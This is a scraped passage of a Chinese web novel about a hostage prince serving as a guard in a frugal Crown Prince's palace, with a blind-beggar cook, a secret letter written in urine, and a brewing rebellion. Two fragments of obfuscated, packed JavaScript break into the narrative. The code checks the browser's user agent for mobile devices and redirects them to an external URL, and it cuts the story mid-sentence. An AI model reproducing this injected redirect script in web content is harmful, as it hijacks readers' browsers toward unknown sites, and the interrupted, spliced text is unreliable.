“不仅如此,里面还混着小石子,稻壳,老鼠屎,蟑螂腿,米虫。” 萧照大惊:“这太子也能忍?” “何止啊,就数殿下吃得最香,殿下还给这混着米虫和老鼠屎的白饭赐名‘玲珑八宝饭’。” “八宝不会是指那些虫子和稻壳吧!”萧照惊愕。 “正是,正是。殿下说这一碗有肉有糠,顶得上寻常人家的三碗。” 萧照:???本世子逃难都没吃过这种饭。 “殿下真爱吃这玩意?莫不是得了什么口欲之病?”萧照不禁问道。 “这世上哪有人真爱吃这玩意,殿下纯粹就是扣。” “是啊是啊,俺这辈子还没见过比殿下更扣的人了。别的权贵,吃穿用度,怎么舒服怎么来,咱这位殿下,怎么省钱怎么来。” 萧照两眼一黑,完了完了,以后要有一半的时间得跟着这铁公鸡吃苦受罪了。 萧照仍保留一分希冀,试探性问道:“平时节省点就算了,这逢年过节总不至于也节省吧?” 侍卫中最为年长的那位站了出来,摸着胡子回忆道:“说实话,老朽这些年是看着殿下长大的,跟着殿下吃过还算可以的饭就三顿。” “哪三顿?” “皇后册封大典那顿,右相嫡女出阁那顿,杨公嫡长孙百日宴也算一顿。那酒席,那排场,那大鱼大肉,老朽现在想起来还回味无穷。” 合着在东宫当值想吃顿好的还得跟着太子出去吃席啊!!! 萧照突然想起东宫正殿挂着的那幅《千里饿殍图》。太子如此极致节省,难道是因为这幅画? “诸位兄弟,东宫的《千里饿殍图》里所画的可是真事?” “自是真事,出自宫里的一个意气风发的天才画师,那小少年游历名山大川,将途中所见所闻全画了下来。” 萧照有惜才之心,打听道:“想来那少年如今必是一代大家,能否告知萧某他的名姓,高山仰止,萧某是真想结识这样的书画大家。” 众人叹了口气,“别提了,自从画了这《千里饿殍图》,当今圣上龙颜大怒,那少年从此就消在这世间了,谁也不知道什么时候没的,不知道埋在哪了。” 如此少年天才,本该流芳百世,就因为一幅画,竟被皇家这般践踏,与草木一同腐了朽了。萧照不禁感慨,伴君如伴虎。 32.东宫当值的一日 萧照正和一众护卫聊得热火朝天,忽听到一阵浑厚悠扬的钟声,回头一看,刚刚还谈笑风生的诸位兄弟此刻正急匆匆地朝东跑。 “出什么事了?”萧照拉住一位护卫问道。 “没事没事,就是开始放早饭了。”那护卫边说边跑,转眼就没了人影。 萧照想起书中所说,大户人家吃饭都是敲钟奏乐,用鼎盛放吃食。看来这位太子扣是扣了点,该有的排场还是不落的。 不是说胜似猪食吗?怎么大家都跑着过去,电光火石之间,萧照意识到什么,赶紧也跑了过去。 果然,排完长队,馒头和咸菜都被抢完了,只剩下所谓的“玲珑八宝饭”。 掌勺丈人见萧照是个生面孔,怕他初来乍到吃不饱,索性多给他盛了几勺。 萧照无奈,这倒也不必,又不是啥好吃食。 米里面还有石子和稻壳,这顿饭,萧照吃得是小心不能再小心了,生怕把什么不干净的东西咽了下去。 吃完饭,便直接去太子跟前当值了。 可还没站一会,便胃痛难忍,直不起腰,想来是被那“八宝饭”给吃伤了肠胃。 太子在一旁打趣道:“萧护卫真是娇生惯养,区区一碗白饭,竟消受不来。” 萧照:???你这东宫太子府的饭是人能吃的吗? 太子自顾自地说:“看来萧护卫此生过得颇为顺遂,本宫着实羡慕。” 萧照:没吃过猪食就算顺遂?太子,您这标准也太低了,再说了,这天下谁有你顺,一出生就是大渊皇子。 “殿下,您这是在苛待下人。” “嘉宁二年,东宫上下一百多口险些全部饿死。”太子淡淡说道。 萧照:???竟还有此事。 “那一年,父皇派重兵将东宫团团围住,不许放进去一人,一物,一粒粮食。” “围了多久?” “整整四十五日。” “四十五日,按理说东宫家大业大,断不会不到两月便弹尽粮绝,几近饿死。”萧照疑惑道。 “东宫一向不喜豪奢和铺张浪费,素日存储的吃食也只够二十日用度。本宫记得,第四十日时,本宫下令将东宫后花园的所有鲜花绿叶都采摘了去,做成花叶团子吃了。” “殿下,群臣和后宫就任由皇帝胡作非为吗?” “本宫禁足之日,本宫的母妃也受到牵连,在后宫禁足,七天内,滴水粒米未进,活活饿死了。” “待本宫走出东宫之时,景明宫已是一片恶臭,母妃和诸位女史,已腐烂见骨。母妃恩宠多年,一朝失了圣眷,尚且如此,群臣哪里还敢言语呢?” “殿下,那时为何不反?”萧照忍不住问道。 “他是当今皇帝。” “殿下,您赢得起,也输得起,民心和朝臣,都是站在您这边的。” 良久,太子喃喃说道:“当时年少无知,隐忍克制,如今倒也觉得遗憾无比。是啊,这天下篡了又如何?哪朝哪代不是一代代篡下来的。” 其他一众护卫汗流浃背,别看我,我什么都没听到。 太子走到了那幅《千里饿殍图》前,仔细端详,画中有一户人家,全家都饿死了,只剩一位妇人趴在窗前,在逼仄的屋里透过那扇小窗往外张望。 那幅画,总是会让他梦见母妃生前被幽禁在景明宫,恐惧,担忧,孤独,饥饿,千倍百倍袭来,直到死亡,最后腐了烂了…… 篡位又算个什么,只要能让母妃活着,真篡了那又怎样? 如今虽大权在握,励精图治,可是母妃却再也看不到了。 原来这世间最好的东西一开始便握有,只是梦中不觉,醒来要归去。 “如此雷霆之怒,殿下当年是如何得罪了陛下?”萧照打破了太子的沉思,开门见山问道。 “有文官死谏父皇,无外乎是请求父皇不要大兴土木,穷兵黩武,劳民伤财。” “这与殿下何干?” “那位文官是本宫举荐的,在父皇眼里,他就是本宫的人。” “那位文官也被陛下赐死了?” 太子难掩悲色,答道:“被父皇下令五马分尸了,可不巧的是,他的继任者依旧是本宫举荐过的人,依旧直言不讳,继续请求父皇停下来让百姓休养生息。” 萧照:???怎么会有这么蠢的文官啊? “一连杀了三个文官,结果到第四个时,依旧死谏父皇,请求父皇下罪己诏,挽回民心,那个人,依旧算是本宫的人。” “所以陛下龙颜大怒,连殿下都给幽禁了。” “正是。” “殿下,您有这样的四位忠臣,何其之幸,又何其不幸啊!”萧照叹道。 “是本宫没有护住那四位忠臣,他们投到本宫的门下,是本宫辜负了他们。”太子眼底尽是哀伤。 萧照正欲宽慰殿下,忽又听到那阵熟悉的悠扬钟声,拔腿就跑,生怕再去晚了又抢不到馒头咸菜了。 其他护卫:???不是,他都还没换班,怎么就跑去吃饭了???一点规矩都不懂。 太子笑了笑:“随他吧,那个人以前也是金尊玉贵长大的,吃不了东宫里的八宝饭。” 中午的伙食和早上不一样,多了一份猪油炒青菜。 萧照只拿了两个窝窝头,在窝窝头底下的窝窝里放满咸菜,他心里盘算着,这样的两个窝窝头,一手拿一个,刚刚好,既方便又可省去碗筷盛饭,关键是省得刷碗刷筷了。 掌勺丈人一眼看透萧照,这新来的混小子,也忒懒了,忍不住喝道:“新来的,赶快过来盛点猪油和青菜,不吃青菜小心拉不出屎。” 众人一片哄笑,萧照不以为意,自顾自地吃窝窝头。 不吃不知道,一吃吓一跳,这东宫的咸菜居然别有洞天。 不同于在朔北所吃过的齁咸的咸菜,东宫的咸菜居然是甜丝丝,酸辣辣的。 酸,甜,咸,辣,这四种滋味相攻防,相争夺,相依托,放入口中,居然物我两忘,自成一家,味道着实丰富无比,回味无穷。 萧照又偷了几份咸菜,悄悄放入手帕中,打算带回去给学宫的弟子们尝尝。 吃过午饭,萧照便继续跟在太子身边护卫太子周全。 一个下午,一批一批的官员进出东宫求见太子殿下,太子也都一一见了,着实忙碌无比。 萧照却觉得百无聊赖,这门外蜿蜒长龙,看似一批又一批的达官显贵,实则看来看去也就两个人,一个叫“名”,一个唤“利”。 若换做他是太子,定要将这些人全都用大棒打跑,少来烦爷。 “这位小兄弟,麻烦能帮忙通禀一声,江州李冲求见。”一个肥头大耳的小官拉着他的胳膊问道。 还未等萧照回复,另一个人又开始拽着萧照的另一只胳膊问道:“怎么还没到我,我都在这等了好几日了,我是真的有要事求见,太子殿下什么时候能见我?” 一时间,越来越多的人开始拽着萧照逼问,太子殿下什么时候才会见他们? 萧照:我怎么会知道?我也是刚来第一日。 算了算了,为政在于耐烦,不能给太子殿下得罪人,萧照只得好言好语地安慰大家,诸位稍安勿躁,一个一个来,太子殿下肯定会见你们的,不会落下一个人。 萧照偷偷和其他护卫聊过,定是因为他们长得一脸凶神恶煞,如厉鬼转世,而自己一身书卷气,举止亲和,所以那些宾客才只敢纠缠自己。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996198|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 诸位兄弟:就你?书卷气? 几名侍卫哈哈大笑。 “依我看你分明是一脸大便难解的粪气,也不撒泡尿照照。” 萧照便开始和几位护卫一同插科打诨,他在心里暗自奇怪,怎么自己饱读诗书,居然还骂不过几位头脑简单的粗人?真是白读书了。 很快,越来越多的宾客开始拉扯萧照问东问西,询问太子见到哪个人了,什么时候轮到自己? 为防止今日刚领的这身窄袖长袍护卫服被那些宾客撕扯坏,萧照赶紧尿遁,索性躲在茅房里不再出来。 东宫的茅房居然和寻常百姓家的旱厕别无二致,只是粪池大了些,坑位多了些而已。 萧照一蹲就是一个时辰。 那一个时辰,他双手攥着手纸,心里却一直在思量,何以“大漠孤烟直,长河落日圆”成了千古名句,明明幼时每日都看到这样的景象,却不觉有美? 何以说“醉卧沙场君莫笑“,明明自己在喀沁每日听到的也都是妇孺哭声,男人死在了沙场,他从未见过有人笑得出来。 或许,真正好的诗文,足够美,足够残忍,足够让人心痛,这样的诗,虽不是十成十地明白,却依旧能使他心跳不已。 突然,有人站在茅房外往那大粪池丢了一块石头,一时间,萧照被溅了一身屎尿。 萧照:??????????????????????? “谁干的,我萧照今日定要杀了你!!!”萧照怒不可遏。 茅房外传来熟悉的声音:“让你不吃青菜,看吧,老夫早就说过不吃青菜就拉不出屎。” 萧照:……………………,所以这就是你故意崩我一身粪的原因? 萧照飞快起身,仔细擦拭衣物,等到一出茅房,那位掌勺丈人早已不知所踪。 萧照也不愿去管那个老小子,只得匆匆忙到后厨接盆热水沐浴更衣。 其他护卫知道后笑得站不起来。 “哈哈哈哈哈哈,哈哈哈哈,你真被溅了一身,老头扔得也太准了吧。” “千真万确,老子亲眼看见的,躬逢其盛,你们没看见定会抱憾终身。” 几位侍卫笑得肚子疼,而萧照只想找个地缝钻进去,躲到地老天荒不知老之将近。 “诸位哥哥们快告诉我那老头住在哪?我要去找他算账,此仇不报,我誓不为人。” 一说起这个,诸位护卫的表情立刻严肃起来,忙拦住萧照。 “萧兄弟,在这东宫,宁可得罪太子,也不要得罪那老头。” “为何,那老头可是有什么大来头?” “倒不是有什么大来头。“一名护卫说道。 “那老人家家里原本有七个儿子,可惜全都都参军死在了北境,七个儿子,全都保家卫国,宁死不降,满门忠烈啊。”另一个护卫补充道。 “后来呢?” “老人家是个孤家寡人,朝廷也不管不顾,太子就将老人家请到东宫,做个掌勺师傅,颐养天年。” “是啊,萧兄弟,你有所不知,太子曾下过死令,东宫任何人不得欺侮伤害那位老人家,违令者,斩立决。俺跟着太子那么多年,还从没见过太子下过这等严令。” 其他的护卫也纷纷劝慰道:“萧兄弟,别往心里去,那老头心不坏,就是喜欢让兄弟们平日里多吃点青菜而已。” 晚饭时,萧照换好衣服跑去打饭,那掌勺丈人多给他打了点咸菜,萧照不语,他很难想象,经历如此人生变故,这位老人家依旧能将人生过得有滋有味,何其坚韧的内心,何其强大的精神,哪怕任命运玩弄,依旧能添酒回灯重开宴。 那一日,他从那位老者身上学到了比诗书更直击灵魂的东西。 33.第 33 章 回翰璃学宫的路上,萧照脑中挥之不去那位掌勺丈人的音容笑貌。 七个儿子,一个接一个死在了北境疆场,马革裹尸。为父者,风烛残年,却依旧能在东宫活得潇洒自如。 他想起了自己的兄长们,每一个都为部族大业而死。额吉日日啼哭,痛不欲生,可对阿达来说,死一个儿子和丢了一个棋子别无二样。 哪怕明知大渊是龙潭虎穴,也要把自己送到京都为质。 兄长是棋子,而自己则是安插在大渊的钉子。 就算所有的儿子都死光了,怕是阿达也不会眨一下眼睛,最多是惋惜一下自己后继无人。 他想要的,从来都只有君临天下。 子不子,父不父,家不家,国不国,这天下如此乾坤颠倒,黑白不明,哪怕他日入主中原,又有何趣味? 一想到这,萧照便觉得心中压了一块大石头。他心里清楚,天下本无事,寇自扰之。 这一路走来,多少同胞流尽最后一滴血,多少家破人亡,到头来,只是在圆阿达的一场春秋大梦。放眼整个四海,还能找出这比这更荒唐的笑话吗?还有人比我喀沁族人更痴傻吗? 可一旦承认部族那么多年的征战与厮杀都只是为了满足历代大汗逐鹿天下的狼子野心,这尸山血海,山河破碎,谁又能担得起呢? 世事势如破竹,走到今天这步,早已没有回头路了。哪怕明知前方是死路,绝路,他萧照也得继续往前走。 萧照自嘲了一下,忘往事,收余恨,改性情,他再次从大渊为质的读书人做回了喀沁世子。 脑子一转,同样是想起那位掌勺老丈,如今已无半分同情。 死了七个儿子?寻常人家一个两个儿子死在北境倒还看不出什么,可接连死了七个,怎么着,也能悟出点前线兵力辎重的薄弱之处。 以东宫对老丈的哀怜,前线定是将那七个儿子如何浴血奋战,如何为国捐躯一一告知了。 东宫?是啊,老伯在东宫掌勺多年,什么大风大浪没见过,怕是知道不少东宫秘辛。 这么多年来,东宫简直就是铁板一块,什么风吹草动都不曾让外人看得出来,或许,老伯会是这块铁板的豁口。 怎么能让老伯开口?他如今膝下无子,老来孤寂。 常言道,人越老,越是怕孤苦无依,越是喜欢和小辈们相交,热热闹闹地温几壶好酒,醉醺醺地回忆当年事。 小辈?翰璃学宫里多的是少年人,实在不行,可以收阿勒齐当义子,给他养老送终。 一想到这,他又急匆匆赶回东宫。 “萧兄弟,怎么去而复返了?”门房问道。 “有件重要的东西忘带了。” “快去快回。” 又接连问了几个人,萧照这才摸到掌勺老丈住的院子,一路畅行无阻,兴许是白日府里人都听说过茅坑那事了,早已料定他今日会去找掌勺老丈。 院里种满了菜,却空无一人,这么晚了,老头去哪了?萧照不禁疑惑。 难道他在外面有什么相好的? 萧照趁机四处翻找了一下,靴子,衣物……甚至连井下都找了,却不见半点碎银。 这世上,能做到藏钱让他萧照找不到的人,要不就是把钱都拿去给外面相好的了;要么,这个人就是太会藏了。 他又去找门房问了问,一打听才知道,晚膳后,掌勺老丈都会出府四处走走,消消食,约莫一个时辰就会回来。 既然萧照来的时候没看到老丈,那他必是在另一条道上。 萧照沿着另一条路上走了好长一段,好家伙,正看见老头闭眼装瞎沿街乞讨。 萧照:??? 怎么着,东宫是哪点对不住他了?放着好好的日子不过,非要这么冷天在街边讨饭? 听到有脚步声,老头倏地哭起来了。 “爷升官发财,事事如意,求爷行行好,给几个铜板吧!” 听到来人不为所动,老头又开始声泪俱下:“爷啊,可怜可怜老骨头吧,老骨头无儿无女,无依无靠,眼睛也瞎了,年纪也大了,干不了活,被东家扔出来了。” “心善的老爷啊,天冷,行行好,赏几个钱,给老骨头买件冬衣可好,老骨头下辈子一定当牛做马,报答老爷。” 说着说着,老头就开始跪下磕头了。 萧照丢了一把铜板,不怀好意地问道:“老人家,你的东家是哪一家,怎么如此心狠,刚过完年就把你丢出来了。” 老头耳朵一动,仔细听铜板落地声音,一个两个三个四个……看样子,至少有七个铜板。 等到所有铜板都不再滚来滚去,老头方痛心疾首地说:“唉,谁能有老骨头的命苦啊,在主子家里干了一辈子,累了一身病,临了临了,是身体也扛不住,眼也瞎了。这不,一卷铺盖,一个破碗,就把老骨头给扔了出来了。” 萧照又丢了几个铜板,继续问:“你这眼睛是怎么瞎的?” “咳,还不是烧了一辈子火熏瞎的。天天烧柴火,鼻子里,眼里面,都是烟啊。时间一长,眼也废了,人也废了。” 萧照忍住笑意,“当年就没想过要攒点棺材本吗。”说着,便又丢了几个铜板。 老头用手在地上不停摸索着,将铜板一一捡起。 “还不是那杀千刀的东家,天天克扣咱们这些个下人的工钱,一年到头攒的钱还不够抓药的。” 萧照哈哈大笑,“我算是见识到了,什么叫睁眼说瞎话了,老骨头,你睁开眼看看我是谁?” 老头心里一紧,不对啊,这声音听着也不熟悉啊!不怕不怕,应该不是东宫里的人。 “怎么,白日里盯着人上茅房的时候眼睛可利索了,不到一个时辰,就能闭眼说瞎话了。” 老丈顿时睁大双眼,原来是东宫新来的那小子,忙抓起一把土,往萧照身上扔去。 “好你个混小子,居然玩弄到老夫身上了,看老夫不打断你的狗腿。” 老头正要双手撑地站起来,萧照却席地而坐了。 “老骨头,我的腿就在这,你尽管打断他,可是,日后我怎么向太子殿下交待?是说在这碰到您沿街乞讨被您发现了,然后我这双腿便断了?” 老头心惊,这可不能让殿下知道。 “小子,只要你别把这件事说出去,老夫便不和你计较。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“老人家,不着急,你得先告诉我你这个儿子死在了北境哪场大战里,我才会告诉你这些字怎么念,是什么意思。”萧照慢悠悠说道。 老头睁眼说瞎话的本领已是炉火纯青,张口便胡诌个:“胡杨里那一战。”说得理直气壮,毫不拖泥带水,一时间,竟连萧照也未察觉出有什么不对的地方。 “一共五个字,军—中—有—细—作。”萧照悠悠念给老头听。 老头大惊,喃喃道:“怎会如此,怎会如此,混小子,你莫不是在骗我?” “这灰布红字,清清楚楚,不信的话,你去街头找几个认字的先生一问便知。” 萧照在脑中冥思苦想胡杨里一役到底有何玄机。 胡杨里是大渊和喀沁的一场小战,两军很快就言和了,阿达是如何在这一役里安插了细作。 罢了罢了,他做事总喜欢留一手,除了自己,定不会让第三个人知晓。 老头则趴在地上哭泣,他今日才知道,老六死得竟如此之冤。那一役,不在胡杨里,而在洛郡关。 当年,洛郡关一役,大渊兵力是北羌的数倍,本以为胜券在握,谁曾想,却是惨败而归。只有太子和几十名亲卫活着回来。 这条绑腿,也是太子殿下亲自送来,殿下说,老六是为了救他而死。 老六临终前,亲自将把这条绑腿解下来托付给殿下,请他帮忙送回故里,好替自己堂前尽孝。 既知道军中有细作,为何不当面禀明告知太子殿下? 老汉心下一沉,他不敢继续想下去了,那个猜测太可怕,太要命…… 洛郡关,只有太子和太子的亲卫活着回来。 34.暴风雨前的宁静(上) 翌日,掌勺老丈早早地在丽正殿外候着,身上背着一个大包袱,一只手提着一双旧棉鞋,□□白底,鞋底有些地方已经磨破了,另一只手捧着一个锦盒。 包袱鼓鼓囊囊,外面还插了一双筷子,底下用小细绳拴着一个酒葫芦。 太子殿下近来诸事困扰,一夜未合眼,天大白之际,依稀看见窗外有个人影。 “四海,去看看殿外候着的是谁,可是遇到什么难处了?” 四海半睡半醒,迷迷糊糊应了一句:“诺!”,便低着头出门了。 一出门,四海大惊,“江伯,你这身打扮,是啥意思啊?” 老丈躬身行礼:“麻烦海儿兄弟帮忙通传一声,就说老骨头今日来向殿下辞行。” “为何?江伯,是不是府里有人欺负你了,你跟我说,我这就去揍他五十军棍。” 老丈连连摇头,忙说道:“哪里哪里,府里的人都对老骨头挺好的,是老骨头自己想出府了。” 四海拦着老丈,劝道“住在东宫多好啊,府里人多,您又一把年纪,需要人照顾。在东宫除了吃食一般,其他的,穿的,住的,哪一样不是顶好。” “老骨头在东宫住了这么些年,如今老了,趁着腿脚还利索,想去外面呆上一段日子。” 四海眼见劝不动,赶紧跑回去回禀太子。 片刻,太子亲自开门迎老丈进殿。 老丈眼眶微红,忙说道:“使不得,使不得,殿下您折煞老骨头了。” “江伯,好端端的,怎么突然要走,是府里哪些地方照顾不周吗?” 老丈本想好说辞了,可是一见到太子殿下就什么都说不出来了。 殿下,这些年我偷偷攒了好多钱,足够在外面生活了,就不在府里拖累您了,你的大恩大德,老骨头定当谨记于心。 话明明就在嘴边,却半天也憋不出一个字。 “可是府中有谁薄待了您,您尽管告诉我,我亲自为你做主。” 每次太子在老丈面前都会以“我”自称,两人的谈话时常让四海恍惚,彷佛他们只是寻常人家的叔侄俩,聊着一些家常便饭。 “绝没有,殿下不要多心,府里的人很照顾老骨头,老骨头这次出去,其…实…,其实呢,是想出去学个字,读个书。” 四海:???我一定是还在梦中,这一切都是梦,都是梦。 太子:??? 说到学字读书时,老丈后槽牙都要咬碎了,这是平生第一次对着太子殿下睁眼说瞎话,还是这种三岁小孩都不屑讲的瞎话。 不过老丈有一种奇特的感觉,他觉得太子殿下一定会相信他说的每一句话,哪怕再怎么痴人说梦,殿下也会全力成全他。 良久,殿下喃喃道:“也好,书中别有一番天地。江伯,我记得你有一个儿子叫登榜,还有一个儿子叫中举,可惜乱世读书难,两位兄弟没能有机会走科举入仕。是朝廷无能,有负百姓。” 一提起这个,江老丈便不好意思起来,一大把年纪,红着脸手不停搓着短衣。 江登榜,江有才,江中举,江忠良,江大富,江大贵,江出头,七个孩子都是儿子,高兴啊。当年每一个儿的名字可都是他坐在庄稼地里一连琢磨了好几天才取出来的。 盼着他们赶紧长大,盼着他们出人头地,给家里争光,可谁曾想,朝廷年年打仗,七个儿子,一个接一个送去征兵了,最后也是一个接一个没了。 乡下人都说贱名好养活,取那么好的名怕是压不住,唉,悔啊,早知道就叫江大狗,江二狗,江三狗…… “原来殿下您还记得,老骨头代小子们在此谢过殿下了。” 太子苦笑:“我时常在想,要是能把这些年牺牲的将士们从黄泉里叫回来,大家一起喝一杯,吃一顿,聊一聊,或许来不了多久,但兄弟们至少能好好聚散一场,这该有多好啊。” 江老丈一时哽咽,拿袖子抹了抹眼泪。 四海见到殿下又想起这些伤心往事,忙宽慰道:“殿下,就算能叫,您怕是叫不回来了。那些兄弟们,如今大的可能都十八了,小的再不济也得三五岁了。” “海兄弟,您的意思是说他们早已转世投胎了,现在都是别人家的儿女了。”江老丈问道。 “正是,他们生前精忠报国,浴血奋战,干的都是救国救民功德无量的好事,阎罗王肯定不会难为他们,没准刚进地府转头就出去投胎到好人家了。” 江老丈闻言倒是很高兴,他对自己儿子的品行还是很有信心,七个儿子,各个都不是孬种,这辈子积德积福,下辈子就能享福了,好,好,好啊! 待老丈走后,四海悄悄问:“殿下,你方才怎么不把江伯留下,他这么大年纪,在外面不好过啊。” 太子殿下叹了口气,“东宫不日将会有一场生死之劫,江伯出去住段时日也好,若是此劫能平安度过,本宫一定会亲自将江伯接回来。” 四海在心里翻个白眼,这万人敬仰的东宫,要钱没钱,要肉没肉,成天尽是这个劫那个难的,谁爱来当太子谁来当吧。 江伯赶到翰璃学宫,萧照已经杀好了鸡。 阿勒齐将鸡血端了出来,说道:“老伯,按你的吩咐,鸡也杀了,鸡血也取了,说说吧,接下来怎么着。” “萧小友,万事俱备,那你我就在此歃血为盟,老骨头从今往后就在你这学宫里住下了,包吃包住,不收老骨头一文钱,老骨头无儿无女,以后你可要给老骨头养老送终。” 萧照:??? 阿勒齐:就这事啊,我还以为啥大事,就这养老送终的小事我们还能赖着您不成。 两人一起喝了鸡血,江伯正式成为了翰璃学宫年纪最长的一位诸生。 求学的第一日,不拜师,不看书,不领纸笔,江老丈倒头就睡了整整一日。 第二日,刚学了两个字“周易”,便支个卦摊出去卖卜挣钱了,一骗一个准,晌午回学宫吃个午饭,吃完饭,碗一推,筷子一放,又出去给人算命了,街里人称“江半仙”。 都说天上一日,地上一年,江老丈深有体会,给人算命一天,抵得上以前要饭一年挣的钱。 这边刚喝完生鸡血,那边便收到了韩厉的来信。 萧照毫无防备,一打开信筒,一阵尿骚恶臭味扑鼻,冲得他险些将他刚喝下去的鸡血呕出来。 展开一看,白纸一张,里面小心包着几根冬虫夏草。 萧照将那几根冬虫夏草丢在一边,仔细盯着那张皱皱巴巴的白纸,小心一闻,气味正是从这纸里散出去的。 “阿勒齐,先将这臭纸拿去烟熏火烤一个时辰看看,什么时候出字了马上告诉我。” 阿勒齐捂着鼻子,接过白纸:“世子,这味道简直跟茅房一模一样,他韩 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“那鲤儿姑娘跟着他谋事会不会也有危险?”阿勒齐急忙问道。 萧照忍不住翻了个白眼,“她连败骨毒都能生扛,在契丹已经没什么人能有本事取她性命了。” 阿勒齐坐在火盆前烤了一个多时辰,才刚刚将最边缘的几列字显现出来,赶紧呈给萧照过目。 阿勒齐路上嘀嘀咕咕:“这尿还是不如白矾水好使,烤了半天,才依稀显出几竖行,换做白矾水,不出一刻钟,整页字都能出来。世子,您看看,这可是韩公子的字迹?” 萧照接过隐约泛黄的纸,先是远观其势,后近观其形,终于确定:“是他亲笔所写,这样的笔墨,独步天下,当世再也找不出第二个人了。” “萧兄亲启: 行书仓促,笔墨污秽,见笑了。 半月前中两暗箭,生死一线,辗转流离,东躲西藏,不见天日。 行文之时,提笔四顾心茫然,竟不得不以溺为墨,撰此荒唐言,真如隔世。 想余生平,忽觉大幸,每逢险境,皆能有纸笔在身。 不知天下多少人,自生后便被规训,驯养,不识诗书,不明事理,只知冲锋陷阵,以死报国,天下人也?实为家畜也。临终之际,口说不出冤屈,笔写不出胸臆,无纸无笔,一无所有,浑浑噩噩以入黄泉,徒留后人评说笑谈。 …… …… 愿萧兄前程似锦,愿张郎美人在怀。 韩厉顿首” 萧照:??? 阿勒齐:??? 合着烟熏火烤半天,烤出来的字全是废话啊!!! 萧照怒拍了一下桌子:“阿勒齐,下次直接从纸中间烤,以后他韩厉的题头题尾不必再烤,都是一些酸话,白白浪费了这一个多时辰。” 阿勒齐咬牙切齿:“韩公子八成是故意的。这纸又臭又长又难烤出来字,他就是在整咱。” 阿勒齐又坐在火盆前小心翼翼将纸烤了几个时辰,才将中间的字全部显现出来。 突然,阿勒齐慌忙站起来,“世子,你看,你快来看这句啊。” 萧照预感大事不妙,赶紧走过去,却发现,韩厉在信中写道:大皇子意图谋反,北羌已在集结大军。 35.暴风雨前的宁静(中) 萧照一到东宫,便觉府中气氛异常压抑,不说其他下人,单是这群平日总爱插科打诨的侍卫兄弟们,如今彼此见面,谁也不说话,只用眼神交流。 整个东宫,打眼一看,一切照旧,瞧不出变化。可萧照知道,如今府中外松内紧,护卫和侍卫人数加了一倍,巡防也更为严密,换班更频繁。 萧照在东宫一向秉持着夹着尾巴做人的原则,不打听,不询问,不说话,安安心心在太子身边做事。 太子正在物色新一批暗探人选,这批人选必须要是新面孔,能力高,头脑灵活,不怕死,最重要的还是要有慈悲之心,不能伤及妇孺。 “萧世子,风闻你对女子颇为怜惜。”太子淡淡说道。 萧照回答前先是在脑子里快速过了一遍,确定自己暗中招揽苦命女子为暗探这件事并无破绽。 他不紧不慢地答道:“回殿下,臣实在是可怜这群乱世女子,无关风月,只是痛惜。” “那想必你也读过《京都女子实录》了。” “回殿下,这部书有几卷便是出自臣之手,臣四处走访,所见即所书。” 太子一挑眉,诧异道:“本宫一直以为,那部书应是女子所著。” “回殿下,写这本书,无关男女,无关文辞,却需要有一颗外族人的心,不受儒家汉人影响。臣自幼在草原里长大,降过烈马,熬过猛鹰,驯过骆驼。故臣知道,大渊,或者说是整个儒家,他们千百年来对女子所做的一切,就是驯养,像驯养家畜那般规训女子。” 太子不语,只是叹了口气。 萧照自嘲道:“殿下是觉得,若换做是其他人写这部书,大抵是真的怜惜这些苦命女子。可若是臣写此书,多半是为了讨好皇后娘娘,攀附权贵。” “不无此种可能。” 萧照闻言也不意外,只是慢慢道:“娘娘一开始并不知道此书是臣所作,臣也未曾告知,是后来机缘巧合,娘娘自己查到的。” 见太子不语,萧照也不多言语,他知道,此刻最需要的就是耐心,太子不会平白聊起这个,定是有什么紧要的事需要他办。 一盏茶功夫,太子才开金口:“萧世子,本宫要你去日夜监视一个人。” “臣领旨。” “那名女子就住在京都,是太府卿蒋牧斋之妻李娴。本宫要你和其他暗卫日夜监视李娴,包括她的三个孩子,任何风吹草动,都要立刻报给东宫。” 萧照故意露出难色,问道:“未曾听过太府卿有过不臣之心,况且监视妇人,这免不了闺房之事,臣一个男子,有损蒋夫人清誉。” “太府卿不用管他,只需监视李娴。本宫收到密报,永王要反。本宫思来想去,料想他反之前一定会先安顿好李娴母子。” 萧照汗流浃背,太子居然就这样无悲无喜,无忧无惧地说出大皇子要反的事。 萧照赶紧跪下:“臣什么都没听见,臣什么都不知道,臣只知道要密切监视李娴母子。” “起来吧,不用惶恐,本宫还从未干过用灭口保住秘密的事。” 萧照冷静下来,突然发现了盲点,“不对啊殿下,按您的意思,李娴应是大皇子心尖上的人,这,怎么,变成了太府卿的夫人。” 太子一时不知该怎么说,“李娴确实是永王在世的唯一牵挂,这一点,本宫确认无疑。” 这下可触及到萧照的知识盲区了:“既如此,为何要眼睁睁看着心爱之人嫁作他人妇。” “正因为是挚爱之人,才不能娶。” 萧照:??? 看样子大渊皇室玩得挺花啊,独爱人妇。 “臣还有一事不明,殿下为何偏偏选中臣去做这个暗探?” “因为你不算是本宫的人,哪怕有朝一日,本宫死在永王刀下,你也断不会去伤害李娴母子为本宫报仇雪恨。” “殿下,您这么说实在是令臣惶恐啊,殿下您怎么可能输给永王,您定当一统天下,千秋万代。”萧照接着又叽里咕噜说了一大堆聊表忠心。 萧照先回了一趟学宫,粗略交代了学宫诸事,收拾一下行李,准备动身前往太府寺蒋府。 临行前,阿勒齐很是担忧:“世子,既然李娴是大皇子的心上人,你去监视她,此行怕是危险重重,你要不还是把我给带上吧。” 萧照不以为意:“顶多算是个有羁绊的故人,若真是心上人,怎么会让她嫁给旁人呢?” 阿勒齐摇摇头,“世子,大皇子喜欢她而不娶她,这恰恰说明他极爱重她。” 萧照:??? 本世子刚打听过,这么多年,大皇子吃斋念佛,对李娴不闻不问,何来爱重之说? 阿勒齐在心里翻了个白眼,世子,您只爱自己,哪里会懂得敢舍才是爱。 萧照来到蒋府外的一茶馆,按府内统领交代,他需在这里找到先前埋伏的暗探并与他交班。 